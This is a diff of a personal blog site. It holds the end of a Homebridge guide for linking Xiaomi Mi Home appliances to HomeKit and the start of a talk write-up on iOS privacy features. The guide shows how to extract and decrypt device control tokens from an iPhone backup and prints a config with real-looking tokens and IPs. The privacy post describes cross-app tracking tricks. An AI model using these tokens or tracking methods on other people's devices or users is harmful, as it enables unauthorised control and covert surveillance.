+echo "Starting $name"
+cd "$dir"
+if [ -z "$user" ]; then
+sudo $cmd >> "$stdout_log" 2>> "$stderr_log" &
+else
+sudo -u "$user" $cmd >> "$stdout_log" 2>> "$stderr_log" &
+fi
+echo $! > "$pid_file"
+if ! is_running; then
+echo "Unable to start, see $stdout_log and $stderr_log"
+exit 1
+fi
+fi
+;;
+stop)
+if is_running; then
+echo -n "Stopping $name.."
+kill `get_pid`
+for i in 1 2 3 4 5 6 7 8 9 10
+# for i in `seq 10`
+do
+if ! is_running; then
+break
+fi
+
+echo -n "."
+sleep 1
+done
+echo
+
+if is_running; then
+echo "Not stopped; may still be shutting down or shutdown may have failed"
+exit 1
+else
+echo "Stopped"
+if [ -f "$pid_file" ]; then
+rm "$pid_file"
+fi
+fi
+else
+echo "Not running"
+fi
+;;
+restart)
+$0 stop
+if is_running; then
+echo "Unable to stop, will not attempt to start"
+exit 1
+fi
+$0 start
+;;
+status)
+if is_running; then
+echo "Running"
+else
+echo "Stopped"
+exit 1
+fi
+;;
+*)
+echo "Usage: $0 {start|stop|restart|status}"
+exit 1
+;;
+esac
+exit 0
+

Replace:

cmd=”DEBUG=* Paste which homebridge path”

with the path information you found (without double quotes)

Press “Command” + “C”, “Command” + “V” to copy and paste the above content, press “Esc” and enter “:wq!” to save and exit.

Then enter:

1
+
sudo chmod 755 /etc/init.d/homebridge
+

Modify file permissions.

Finally enter:

1
+
sudo update-rc.d homebridge defaults
+

Add to startup items.

Done!

You can directly use sudo /etc/init.d/homebridge start to start the homebridge service.

You can also use: tail -f /var/log/homebridge.err to view startup error messages, tail -f /var/log/homebridge.log to view logs.

Preparation before connecting Mi Home smart appliances

Once Homebridge is up and running, we can start adding all Mi Home appliances to Homebridge and connect them to HomeKit!

First, we need to add all Mi Home smart appliances to the Mi Home APP to obtain the information needed to connect to HomeBridge.

After adding the smart appliances to the Mi Home APP:

Connect your iPhone to your Mac, open Finder/iTunes, and select the connected phone.

Select “Back up to this computer”, “Do not check! Encrypt local backup”, and click “Back Up Now”.

After the backup is complete, download and install the backup viewer software: iBackupViewer

Open “iBackupViewer”.

The first time you start it, you will need to go to Mac “System Preferences” - “Security & Privacy” - “Privacy” - “+” - add “iBackupViewer”.

*If you have privacy concerns, you can disable the network while using this software and remove it after use.

Open “iBackupViewer” again, and after successfully reading the backup file, click on the “just backed up phone”.

Select the "App Store" Icon

Select the “App Store” Icon.

On the left, find "Mi Home APP (MiHome.app)" -> On the right, find "numbers_mihome.sqlite" file and "select" -> Top right "Export" -> "Selected Files"

On the left, find “Mi Home APP (MiHome.app)” -> On the right, find “numbers_mihome.sqlite” file and “select” -> Top right “Export” -> “Selected Files”.

*If there are two “numbers_mihome.sqlite” files, choose the one with the latest Created time.

Drag the exported numbers_mihome.sqlite file into this website to view the content:

You can change the query syntax to:

1
+
SELECT `ZDID`,`ZNAME`,`ZTOKEN` FROM 'ZDEVICE' LIMIT 0,30
+

Only display the field information we need (if there are specific appliance kits that require other field information, you can also add them for filtering).

  1. ZDID: Device ID
  2. ZNAME: Device Name
  3. ZTOKEN: Device ZToken

ZTOKEN cannot be used directly, it needs to be converted to “Token” to be usable.

Here, we take the conversion of the camera’s ZToken to Token as an example:

First, we obtain the ZToken field content of the camera from the above list:

1
+
7f1a3541f0433b3ccda94beb856c2f5ba2b15f293ce0cc398ea08b549f9c74050143db63ee66b0cdff9f69917680151e
+

But the TOKEN obtained here cannot be used yet, we still need to convert it.

Open http://aes.online-domain-tools.com/ this website:

  1. Paste the ZTOKEN you just copied into “Input Text” and select “Hex”.
  2. Enter “00000000000000000000000000000000” (32 zeros) in the Key field, and also select “Hex”.
  3. Then click “Decrypt!” to convert.
  4. Select and copy the output content of the bottom two lines on the right and remove the spaces to get the result Token.

「 **6d304e6867384b704b4f714d45314a34** 」is the Token result we need!

6d304e6867384b704b4f714d45314a34 」is the Token result we need!

*The method of obtaining the Token has been tried using “miio” to sniff directly, but it seems that the Mijia firmware has been updated, and this method can no longer be used to quickly and conveniently obtain the Token!

Finally, we also need to know the IP address of the device (here we take the camera as an example):

Open the Mi Home APP → Camera → Top right corner “…” → Settings → Network Information, to get the IP address!

Record the ZDID/Token/IP information for later use.

Integrate Mijia Smart Appliances into HomeBridge One by One

Install and configure each device individually according to the required plugins and connection information, and add them to HomeBridge.

Next, open Terminal, ssh into the Raspberry Pi, or use VNC remote desktop’s Terminal to continue the subsequent operations…

1. Mijia Camera Pan-Tilt Version:

In Terminal, run the command to install the MijiaCamera homebridge plugin (without sudo):

1
+
npm install -g homebridge-mijia-camera
+

Refer to the previous tutorial on modifying the configuration file (config.json), and add the accessories section in the file:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
{
+   "bridge":{
+      "name":"Homebridge",
+      "username":"CC:22:3D:E3:CE:30",
+      "port":51826,
+      "pin":"123-45-568"
+   },
+   "accessories":[
+      {
+         "accessory":"MijiaCamera",
+         "name":"Mi Camera",
+         "ip":"",
+         "token":""
+      }
+   ]
+}
+

accessories: Add the configuration information of the Mijia camera, with the ip field filled with the camera’s IP and the token field filled with the token taught in the previous tutorial.

Remember to save the file!

Then, follow the Homebridge section tutorial to start/restart/scan and add to Homebridge; you will be able to see the camera control items in the “Home” APP.

Controllable items: Camera on/off

2. Mi Home DC Variable Frequency Fan

In Terminal, install the homebridge-mi-fan homebridge plugin (without sudo):

1
+
npm install -g homebridge-mi-fan
+

Refer to the previous tutorial on modifying the configuration file (config.json), and add the platforms block in the file (if it already exists, add a sub-block within the block using a comma) :

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+
{
+   "bridge":{
+      "name":"Homebridge",
+      "username":"CC:22:3D:E3:CE:30",
+      "port":51826,
+      "pin":"123-45-568"
+   },
+   "platforms":[
+      {
+         "platform":"MiFanPlatform",
+         "deviceCfgs":[
+            {
+               "type":"MiDCVariableFrequencyFan",
+               "ip":"",
+               "token":"",
+               "fanName":"room fan",
+               "fanDisable":false,
+               "temperatureName":"room temperature",
+               "temperatureDisable":true,
+               "humidityName":"room humidity",
+               "humidityDisable":true,
+               "buzzerSwitchName":"fan buzzer switch",
+               "buzzerSwitchDisable":true,
+               "ledBulbName":"fan led switch",
+               "ledBulbDisable":true
+            }
+         ]
+      }
+   ]
+}
+

platforms: Add Mi Home fan configuration information, input the camera’s IP in the ip field, input the token from the previous tutorial in the token field, and control whether to display temperature and humidity information with humidity/temperature. The type must be the corresponding model text, supporting four different fan models:

  1. ZhiMi DC Variable Frequency Floor Fan: ZhiMiDCVariableFrequencyFan
  2. ZhiMi Natural Wind Fan: ZhiMiNaturalWindFan
  3. Mi Home DC Variable Frequency: MiDCVariableFrequencyFan (sold in Taiwan)
  4. Mi Home Fan: DmakerFan

Please input your own fan model.

Remember to save the file!

Then, as taught in the Homebridge section, start/restart/scan to add to Homebridge; you will be able to see the camera control items in the “Home” APP.

Controllable items: Fan on/off, wind speed adjustment

3. Xiaomi Air Purifier 3

In Terminal, install the homebridge-xiaomi-air-purifier3 homebridge plugin (without sudo):

1
+
npm install -g homebridge-xiaomi-air-purifier3
+

Refer to the previous tutorial on modifying the configuration file (config.json), and add the accessories block in the file (if it already exists, add a sub-block within the block using a comma) :

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
{
+   "bridge":{
+      "name":"Homebridge",
+      "username":"CC:22:3D:E3:CE:30",
+      "port":51826,
+      "pin":"123-45-568"
+   },
+   "accessories":[
+      {
+         "accessory":"XiaomiAirPurifier3",
+         "name":"Xiaomi Air Purifier",
+         "did":"",
+         "ip":"",
+         "token":"",
+         "pm25_breakpoints":[
+            5,
+            12,
+            35,
+            55
+         ]
+      }
+   ]
+}
+

accessories: Add Mi Home fan configuration information, ip should be the camera ip, token should be the token taught in the previous tutorial, did should be zdid

Remember to save!

Then follow the Homebridge section instructions to start/restart/scan and add to Homebridge; you will be able to see the camera control items in the “Home” APP.

Controllable items: Air purifier switch, wind speed adjustment Viewable items: Current temperature and humidity

4. Mi Home LED Smart Desk Lamp

In Terminal, install the homebridge-yeelight-wifi homebridge plugin (without sudo):

1
+
npm install -g homebridge-yeelight-wifi
+

Refer to the previous tutorial on modifying the configuration file (config.json), and add the platforms block in the file (if it already exists, add a sub-block with a comma inside the block) :

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
{
+   "bridge":{
+      "name":"Homebridge",
+      "username":"CC:22:3D:E3:CE:30",
+      "port":51826,
+      "pin":"123-45-568"
+   },
+   "platforms":[
+      {
+         "platform":"yeelight",
+         "name":"Yeelight"
+      }
+   ]
+}
+

No need to pass any special parameters! For more detailed settings, refer to the official documentation (such as brightness/color temperature…)

Remember to save!

The smart desk lamp also needs to be re-bound to the Yeelight APP, and then turn on “Local Network Control” to allow Homebridge to control it.

  1. Download and install the Yeelight APP on your iPhone

Search "Yeelight" in the App Store and install

Search “Yeelight” in the App Store and install

After installation, open the Yeelight APP -> "Add Device" -> Find "Mi Home Desk Lamp" -> Re-pair and bind

After installation, open the Yeelight APP -> “Add Device” -> Find “Mi Home Desk Lamp” -> Re-pair and bind

Remember to turn on " **Local Network Control** " in the last step

Remember to turn on “ Local Network Control

*If you accidentally didn’t turn it on, you can go to the “Device” page -> Select the desk lamp device -> Click the bottom right “△” Tab -> Click “Local Network Control” to enter settings -> Turn on Local Network Control

A little complaint, this is really bad, the Mi Home APP itself does not have this switch function, you must bind it to the Yeelight APP, and you cannot unbind or rebind it back to Mi Home… otherwise it will fail.

Then follow the Homebridge section instructions to start/restart/scan and add to Homebridge; you will be able to see the camera control items in the “Home” APP.

Controllable items: Light switch, color temperature adjustment, brightness adjustment

Other Mijia smart home appliances homebridge plugins:

My final config.json looks like this:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+
{
+   "bridge":{
+      "name":"Homebridge",
+      "username":"CC:22:3D:E3:CE:30",
+      "port":51826,
+      "pin":"123-45-568"
+   },
+   "accessories":[
+      {
+         "accessory":"MijiaCamera",
+         "name":"Mi Camera",
+         "ip":"192.168.0.105",
+         "token":"6d304e6867384b704b4f714d45314a34"
+      },
+      {
+         "accessory":"XiaomiAirPurifier3",
+         "name":"Xiaomi Air Purifier",
+         "did":"270033668",
+         "ip":"192.168.0.108",
+         "token":"5c3eeb03065fd8fc6ad10cae1f7cce7c",
+         "pm25_breakpoints":[
+            5,
+            12,
+            35,
+            55
+         ]
+      }
+   ],
+   "platforms":[
+      {
+         "platform":"MiFanPlatform",
+         "deviceCfgs":[
+            {
+               "type":"MiDCVariableFrequencyFan",
+               "ip":"192.168.0.106",
+               "token":"dd1b6f582ba6ce34f959bbbc1c1ca59f",
+               "fanName":"room fan",
+               "fanDisable":false,
+               "temperatureName":"room temperature",
+               "temperatureDisable":true,
+               "humidityName":"room humidity",
+               "humidityDisable":true,
+               "buzzerSwitchName":"fan buzzer switch",
+               "buzzerSwitchDisable":true,
+               "ledBulbName":"fan led switch",
+               "ledBulbDisable":true
+            }
+         ]
+      },
+      {
+         "platform":"yeelight",
+         "name":"Yeelight"
+      }
+   ]
+}
+

For your reference!

The Mijia appliances I used are as taught above. I didn’t try the ones I don’t have. You can search on npm (homebridge-plugin XXX English name) and follow the similar logic to install and configure them!

Here are some homebridge plugins I found but haven’t tried (no guarantee they work):

  1. Xiaomi Air Purifier 1st Gen: homebridge-mi-air-purifier
  2. Mijia Smart Plug Series: homebridge-mi-outlet
  3. Xiaomi Robot Vacuum: homebridge-mi-robot_vacuum
  4. Mijia Smart Gateway: homebridge-mi-aqara

Tips

  1. It is recommended to set all Mi Home appliances to a specified/reserved IP on the router, otherwise the IP address may change, and you will need to reconfigure the config.json settings.
  2. If you find that all steps are correct but errors still occur or it keeps showing “No Response” on HomeKit, you can try again; if the issue persists, it may indicate that the plugin is no longer valid, and you need to find another plugin to connect. (You can check the GitHub issue)
  3. Function failure, slow response; this is also unsolvable, you can post an issue to inform the author and wait for an update. Since it is an open-source project, you cannot demand too much!
  4. After binding each appliance, you can start Homebridge once and then check on your iPhone to see if it works. If it does, you can terminate it with “Control” + “C”; after binding all appliances, you can restart the Raspberry Pi to let it automatically start the Homebridge service in the background after rebooting; this is what we want.

Conclusion

Additionally, you can go to "Settings" -> "Control Center" -> "Customize" to add the "Home" app, allowing you to quickly operate HomeKit from the drop-down control center!

Additionally, you can go to “Settings” -> “Control Center” -> “Customize” to add the “Home” app, allowing you to quickly operate HomeKit from the drop-down control center!

After connecting everything to HomeKit, the only word is “Awesome”! The response to switching is faster, the only downside is that I don’t have a home hub, so I can’t control it remotely. This concludes the advanced Homebridge tutorial, thank you for reading.

Back to the beginning of the article, after adding everything to HomeKit, we can seamlessly use the iOS ≥ 13 Shortcuts automation feature.

Do you want to study how the Homebridge plugin is made? It seems very interesting! So if there is a HomeBridge plugin that doesn’t meet your operational needs or a plugin is broken and you can’t find a replacement, just wait for me to study it!

Home assistant

There is another smart home platform Homeassistant that can be flashed into the Raspberry Pi for use (Note: A 2A power supply is required to start); I also installed Homeassistant to play with. It has a full GUI interface, and you can connect appliances with just a few clicks; I will study it in-depth later. It feels like another Mi Home platform, but if you have many different manufacturers’ IoT components, it is more suitable to use this.

References

  1. https://www.domoticz.cn/forum/viewtopic.php?t=52
  2. https://or2.in/2017/07/02/Homekit-and-MiJia-with-pi/#3-%E5%8F%B7%E5%A4%96-%E5%BC%80%E5%90%AF%E5%8F%AF%E8%A7%86%E5%8C%96VNC

Further Reading

  1. New Additions to Xiaomi Smart Home (AI Speaker, Temperature and Humidity Sensor, Scale 2, DC Inverter Fan)
  2. Using “Shortcuts” Automation Feature with Mi Home Smart Home on iOS ≥ 13.1 (Directly using the built-in Shortcuts app on iOS ≥ 13.1 for automation)
  3. Mi Home App / Xiao Ai Speaker Region Issues
  4. First Experience with Smart Home — Apple HomeKit & Xiaomi Mi Home (Mi Home Smart Camera and Mi Home Smart Desk Lamp, HomeKit Setup Tutorial)

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Exploring Methods for Implementing iOS HLS Cache

Easily Create a 'Fake' Transparent Perspective Wallpaper Using iPhone

diff --git a/posts/9a05f632eba0/index.html b/posts/9a05f632eba0/index.html new file mode 100644 index 0000000000..c5d3f04350 --- /dev/null +++ b/posts/9a05f632eba0/index.html @@ -0,0 +1,7 @@ + The Past and Present of iOS Privacy and Convenience | ZhgChgLi
Home The Past and Present of iOS Privacy and Convenience
Post
Cancel

The Past and Present of iOS Privacy and Convenience

The Past and Present of iOS Privacy and Convenience

Apple’s privacy principles and the adjustments to privacy protection features in iOS over the years

Theme by [slidego](https://slidesgo.com/theme/cyber-security-business-plan#search-technology&position-3&results-12){:target="_blank"}

Theme by slidego

[2023–08–01] iOS 17 Update

Supplementary updates on iOS 17 privacy-related adjustments from the previous presentation.

Safari will automatically remove tracking parameters from URLs (e.g., fbclid, gclid…)

  • Example: https://zhgchg.li/post/1?gclid=124 will become https://zhgchg.li/post/1 after clicking.
  • Currently testing iOS 17 Developer Beta 4, fbxxx, gcxxx, etc., will be removed, but utm_ is retained; it’s uncertain if the official iOS 17 or future iOS 18 will further enhance this.
  • For the strictest scenario, you can install the iOS DuckDuckGo browser for testing.
  • For detailed testing, please refer to the article “iOS17 Safari’s new feature will remove fbclid and gclid from URLs”.

Privacy Manifest .xprivacy & Report

Developers need to declare the use of User Privacy, and also require any used SDK to provide its Privacy Manifest.

*Additionally, third-party SDK Signature has been added

XCode 15 can generate a Privacy Report through the Manifest for developers to set App privacy settings on the App Store.

Required reason API

To prevent the misuse of certain Foundation APIs that could potentially lead to fingerprinting, Apple has started to regulate some Foundation APIs; a declaration of usage is required in the Manifest.

Currently, the most affected API is UserDefault, which requires a declaration.

1
+2
+3
+
Starting in Fall 2023, if you upload a new app or app update to App Store Connect that uses an API requiring a declaration (including content from third-party SDKs), and you do not provide an approved reason in the app's privacy list, you will receive a notification. Starting in Spring 2024, to upload new apps or app updates to App Store Connect, you will need to specify the approved reason in the app's privacy list to accurately reflect how your app uses the respective API.
+
+If the current scope of approved reasons does not cover a use case for an API requiring a declaration, and you believe this use case directly benefits your app users, please let us know.
+

Tracking Domain

APIs that send tracking information need to declare the domain in the privacy manifest .xprivacy and can only initiate network requests after user consent for tracking; otherwise, all network requests to this domain will be intercepted by the system.

You can check if the Tracking Domain is intercepted using the XCode Network tool:

Currently, Facebook and Google’s Tracking Domains are detected and need to be listed as Tracking Domains and require permission.

Therefore, please note that FB/Google data statistics may significantly drop after iOS 17, as data will not be received if permission is not asked or tracking is not allowed; based on past implementations of asking for tracking permission, about 70% of users will click not allow.

  • Developers’ own API calls for tracking also need to follow the same regulations for Tracking Domains.
  • If the Tracking Domain is the same as the API Domain, a separate Tracking Domain is required (e.g., api.zhgchg.li -> tracking.zhgchg.li).
  • Currently, it is unclear how Apple will regulate developers’ own tracking; testing with XCode 15 did not detect any issues.
  • It is unclear whether the official will use tools to detect behavior or if reviewers will manually check.

Fingerprinting is still prohibited.

Introduction

I am honored to participate in the MOPCON speech, but it is a pity that it has been changed to an online live broadcast due to the pandemic, and I cannot meet more new friends. The theme of this speech is “The Past and Present of iOS Privacy and Convenience,” mainly to share Apple’s principles on privacy and the functional adjustments iOS has made over the years based on these privacy principles.

[The Past and Present of iOS Privacy and Convenience](https://mopcon.org/2021/schedule/2021028){:target="_blank"} | [Pinkoi, We Are Hiring!](https://www.pinkoi.com/about/careers){:target="_blank"}

The Past and Present of iOS Privacy and Convenience | Pinkoi, We Are Hiring!

In recent years, developers or iPhone users should be familiar with the following feature adjustments:

  • iOS ≥ 13: All apps supporting third-party login must also implement Sign in with Apple, otherwise, they cannot be successfully listed on the App Store.
  • iOS ≥ 14: Clipboard access warning.
  • iOS ≥ 14.5: IDFA must be allowed before it can be accessed, which almost equates to blocking IDFA.
  • iOS ≥ 15: Private Relay, using a proxy to hide the user’s original IP address.
  • iOS ≥ 16: Clipboard access requires user authorization.
  • … and many more, which will be shared with everyone at the end of the article.

Why?

If you are not familiar with Apple’s privacy principles, you might even wonder why Apple has been constantly opposing developers and advertisers in recent years. Many features that everyone is used to have been blocked.

After going through “ WWDC 2021 — Apple’s privacy pillars in focus “ and “ Apple privacy white paper — A Day in the Life of Your Data “, it became clear that we have unknowingly leaked a lot of personal privacy, allowing advertisers or social media to profit immensely, infiltrating our daily lives.

Referencing the Apple privacy white paper and rewriting it, let’s take the fictional character Harry as an example to illustrate how privacy is leaked and the potential harm it can cause.

First is the usage record on Harry's iPhone.

First is the usage record on Harry’s iPhone.

On the left is the web browsing history: You can see visits to websites related to cars, iPhone 13, and luxury goods.

On the right are the installed apps: There are investment, travel, social, shopping, and baby monitor apps.

Harry's offline life

Harry’s offline life

Offline activities leave records in places such as invoices, credit card transaction records, dashcams, etc.

Combination

You might think, how could different websites, different apps (even without logging in), and offline activities possibly allow a service to link all the data together?

The answer is: technically, it is possible, and it “might” or “has already” happened partially.

As shown in the image above:

  • When not logged in, websites can identify the same visitor across different sites through Third-Party Cookies, IP Address + device information calculated Fingerprint.
  • When logged in, websites can link your data through registration information such as name, birthday, phone number, email, ID number, etc.
  • Apps can identify the same user across different apps through Device UUID, URL Scheme to sniff other installed apps on the phone, and Pasteboard to transfer data between apps. Additionally, registration information can also link data after the user logs in.
  • Apps and websites can also use Third-Party Cookies, Fingerprint, and Pasteboard to transfer data.
  • The connection between online and offline activities can occur when banks collect credit card transaction records, accounting apps, invoice collection apps, dashcam apps, etc., all have the opportunity to link offline activities with online data.

It is technically feasible; so who are the third parties behind all the websites and apps?

Large companies like Facebook and Google earn significant revenue from personal ads; many websites and apps also integrate Facebook and Google SDKs… so it’s hard to say. Often, we don’t even know which third-party ad and data collection services websites and apps use, secretly recording our every move.

Let’s assume that all of Harry’s activities are secretly collected by the same third party, then in its eyes, Harry’s profile might look like this:

On the left is personal information, possibly from website registration data or delivery data; on the right are behavior and interest tags based on Harry’s activity records.

In its eyes, it might know Harry better than Harry knows himself; this data can be used on social media to make users more addicted; used in advertising, it can stimulate Harry to overconsume or create a birdcage effect (e.g., recommending you buy new pants, then you buy shoes to match, then socks… it never ends).

If you think the above is already scary enough, there’s something even scarier:

Having your personal information and knowing your financial status… the potential for malicious acts is unimaginable, such as kidnapping, theft…

Current Privacy Protection Methods

  • Legal regulations (e.g., SGS-BS10012 personal data certification, CCPA, GDPR…)
  • Privacy agreements, de-identification

Mainly through legal constraints; it’s hard to ensure services comply 100% of the time, and there are many malicious programs on the internet, making it difficult to guarantee that services won’t be hacked, causing data leaks; in short, “ if someone wants to do evil, it’s technically feasible, relying solely on regulations and corporate conscience is not enough.”

Moreover, we are often “forced” to accept privacy terms, unable to authorize individual privacy settings. Either we don’t use the service at all, or we use it but have to accept all privacy terms; privacy terms are also not transparent, so we don’t know how our data will be collected and used, and we don’t know if a third party is collecting our data without our knowledge.

Additionally, Apple has mentioned that minors’ personal privacy is often collected by services without the consent of their guardians.

Apple’s Privacy Principles

Knowing the harm caused by personal privacy leaks, let’s look at Apple’s privacy principles.

Excerpted from the Apple Privacy White Paper, Apple’s ideal is not to completely block but to balance. For example, in recent years, many people have installed AD Block to completely block ads, which is not what Apple wants to see; because if completely disconnected, it’s hard to provide better services.

Steve Jobs said at the 2010 All Things Digital Conference:

I believe people are smart, some people want to share more data than others. Ask them every time, annoy them until they tell you to stop asking, let them know exactly how you are going to use their data. — translated by Chun-Hsiu Liu

Apple believes privacy is a fundamental human right

Apple’s Four Privacy Principles:

  • Data Minimization: Only take the data you need
  • On-Device Processing: Based on Apple’s powerful processor chips, personal privacy-related data should be processed locally unless necessary
  • User Transparency and Control: Let users know what privacy information is being collected and how it is used; also, allow users to control the sharing of individual privacy data
  • Security: Ensure the security of data storage and transmission

iOS Privacy Protection Feature Adjustments Over the Years

Understanding the harm of personal privacy leaks and Apple’s privacy principles, let’s look at the technical means; we can see the adjustments iOS has made over the years to protect personal privacy.

Between Websites

As mentioned earlier

🈲, in iOS >= 11, Safari has implemented Intelligent Tracking Prevention (WebKit)

Enabled by default, the browser actively identifies and blocks third-party cookies used for tracking and advertising; and with each iOS version, the identification program is continuously strengthened to prevent omissions.

Using Third-Party Cookies to track users across websites is basically no longer feasible on Safari.

The second method is to use IP Address + device information to calculate a Fingerprint to identify the same visitor across different websites:

🈲,iOS >= 15 Private Relay

Especially after Third-Party Cookies were banned, more and more services are adopting this method. Apple is also aware of this… Fortunately, in iOS 15, even the IP information is obfuscated for you!

The Private Relay service will first randomly send the user’s original request to Apple’s Ingress Proxy, then randomly dispatch it to the partner CDN’s Egress Proxy, and finally, the Egress Proxy will request the target website.

The entire process is encrypted and can only be decrypted by the chip in your iPhone. Only you know both the IP and the target website of the request simultaneously. Apple’s Ingress Proxy only knows your IP, the CDN’s Egress Proxy only knows Apple’s Ingress Proxy IP and the target website, and the website only knows the CDN’s Egress Proxy IP.

From an application perspective, all devices in the same region will use the same shared CDN’s Egress Proxy IP to request the target website. Therefore, the website cannot use the IP as Fingerprint information anymore.

For technical details, refer to “WWDC 2021 — Get ready for iCloud Private Relay”.

Supplementary Private Relay:

  • Apple/CDN Provider does not have complete logs for tracing: I checked how Apple prevents it from being used maliciously but couldn’t find an answer. It might be similar to how Apple won’t unlock a criminal’s iPhone for the FBI; privacy is a fundamental human right for everyone.
  • Enabled by default, no special connection needed
  • Does not affect speed or performance
  • IP will be guaranteed to be in the same country and time zone (users can choose to blur the city), cannot specify IP
  • Only effective for certain traffic iCloud+ users: All traffic on Safari + Insecure HTTP Requests in Apps General users: Only effective for third-party tracking tools installed on websites in Safari
  • Officially provides CDN Egress IP List for website developers to identify (do not mistakenly block Egress IPs, it will cause group harm)
  • Network administrators can ban DNS to disable Private Relay for all connections
  • iPhone can disable Private Relay for specific network connections
  • Private Relay will be disabled when connecting to VPN/Proxy
  • Currently still in Beta version (2021/10/24), enabling it may cause some services to be unreachable (China region, Chinese version of TikTok) or services to be frequently logged out

Private Relay Test Image

Private Relay Test Image

  • Image 1 Not enabled: Original IP address
  • Image 2 Enabled Private Relay — Maintain general location: IP becomes CDN IP but still in Taipei
  • Image 3 Enabled Private Relay — Use country and time zone (broaden blur): IP becomes CDN IP & changes to Taichung, but still in the same time zone and country

[Test Project](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"}

Test Project

Apps can use URLSessionTaskMetrics to analyze Private Relay connection records.

To digress, the method of using IP addresses to obtain Fingerprints to identify users can no longer be used.

Between Apps

The first method was to directly access the Device UUID in the early days:

🈲,iOS >= 7 prohibits access to Device UUID,

Use IDentifierForAdvertisers/IDentifierForVendor instead

🈲,iOS >= 14.5 IDentifierForAdvertisers requires user consent before use

After iOS 14.5, Apple has strengthened the restrictions on accessing IDFA. Apps need to ask for user permission to track before obtaining the IDFA UUID; without asking or without permission, the value cannot be obtained.

Preliminary survey data from market research companies show that about 70% of users (some say 90% in the latest data) do not allow tracking to access IDFA, which is why people say IDFA is dead!

[Test Project](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"}

Test Project

The second method for inter-app communication is URL Scheme:

iOS apps can use canOpenURL to detect if a specific app is installed on the user’s phone.

🈲,iOS >= 9 requires setting in the app before use; cannot detect arbitrarily.

iOS ≥ 15 adds a restriction, allowing a maximum of 50 other app schemes.

Apps linked on or after iOS 15 are limited to a maximum of 50 entries in the LSApplicationQueriesSchemes key.

Between Website and App

As mentioned earlier

In the early days, iOS Safari’s cookies and App WebView’s cookies could communicate, allowing data exchange between websites and apps.

The method involves embedding a 1-pixel WebView component in the app’s background to secretly read Safari cookies.

🈲,iOS >= 11 prohibits sharing cookies between Safari and App WebView

If you need to obtain Safari cookies (e.g., using website cookies to log in directly), you can use the SFSafariViewController component; however, this component forces a prompt window and cannot be customized, ensuring that users are not unknowingly tracked.

The second method is using IP Address + device information to calculate a fingerprint to identify the same user across different websites:

As mentioned earlier, iOS ≥ 15 has been obfuscated by Private Relay.

The last and only remaining method — Pasteboard:

Using the clipboard to transfer cross-platform information, as Apple cannot disable clipboard usage across apps, but it can prompt the user.

⚠️ iOS >= 14 adds clipboard access warnings

⚠️ 2022/07/22 Update: iOS 16 Upcoming Changes

Starting from iOS ≥ 16, if the user does not actively perform a paste action, the app’s attempt to read the clipboard will trigger a prompt window, and the user needs to allow it for the app to read the clipboard information.

[UIPasteBoard’s privacy change in iOS 16](https://sarunw.com/posts/uipasteboard-privacy-change-ios16/){:target="_blank"}

UIPasteBoard’s privacy change in iOS 16

_Here, I want to mention the privacy panic regarding the clipboard in iOS 14. For more details, you can refer to my previous article “iOS 14 Clipboard Privacy Panic: The Dilemma Between Privacy and Convenience”. _

Although we cannot rule out the possibility of reading the clipboard for data theft, more often, our app needs to provide a better user experience:

Before implementing Deferred Deep Link, when we guide users to install the app from the website, opening the app after installation will only open the homepage by default. A better user experience should be opening the app to the corresponding page where the user left off on the website.

To achieve this functionality, there needs to be a way to transfer data between the website and the app. As mentioned in the article, other methods have been banned, and currently, only the clipboard can be used as a medium for storing information (as shown above).

Including Firebase Dynamic Links and the latest version of Branch.io (previously Branch.io used IP Address Fingerprint to achieve this) also use the clipboard for Deferred Deep Link.

For implementation, you can refer to my previous article: iOS Deferred Deep Link Implementation (Swift)

In general, if it is for Deferred Deep Link, the clipboard information will only be read the first time the app is opened or when returning to the app. It will not be read during use or at odd times, which is worth noting.

A better approach is to use UIPasteboard.general.detectPatterns to detect if the clipboard data is what we need before reading it.

[Test Project](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"}

Test Project

After iOS ≥ 15, the clipboard prompt has been optimized. If it is the user’s own paste action, the prompt will no longer appear!

Advertising Effectiveness Solutions

As mentioned earlier, Apple’s privacy principle hopes for a balance rather than completely blocking users from services.

Advertising Effectiveness Statistics Between Websites:

In Safari, the feature that blocks Intelligent Tracking Prevention is Private Click Measurement (WebKit) used to measure advertising effectiveness without compromising personal privacy.

The specific process is as shown above. When a user clicks an ad on site A and goes to site B, a Source ID (to identify the same user) and Destination information (target site) will be recorded in the browser. When the user completes a conversion on site B, a Trigger ID (representing what action) will also be recorded in the browser.

These two pieces of information will be combined and sent to sites A and B after a random 24 to 48 hours to get the advertising effectiveness.

Everything is handled on-device by Safari, and protection against malicious clicks is also provided by Safari.

Advertising Effectiveness Statistics Between Apps and Websites or Apps:

You can use SKAdNetwork (requires application to join Apple) similar to Private Click Measurement, which will not be elaborated here.

It is worth mentioning that Apple is not working behind closed doors; SKAdNetwork is currently at version 2.0. Apple continues to collect feedback from developers and advertisers to balance personal privacy control and continuously optimize SDK functionality.

Here, I sincerely wish that Deferred Deep Link can be integrated with the SDK, as we aim to enhance user experience without intending to invade personal privacy.

For technical details, refer to “WWDC 2021 — Meet privacy-preserving ad attribution”.

Cross-Platform

All apps supporting third-party login on iOS ≥ 13 must implement Sign in with Apple, otherwise, they cannot be successfully listed on the App Store.

iOS ≥ 15 iCloud+ users support Hide My Email

  • Supports all email fields in Safari and apps
  • Users can generate virtual emails in settings

Similar to Sign in with Apple, virtual emails generated by Apple replace real emails. After receiving an email, Apple will forward it to your real email, thus protecting your email information.

Similar to a 10-minute email but more powerful; as long as you don’t disable it, the virtual email address is yours permanently; there is no limit to the number of new addresses you can create, and it’s unclear how Apple prevents abuse.

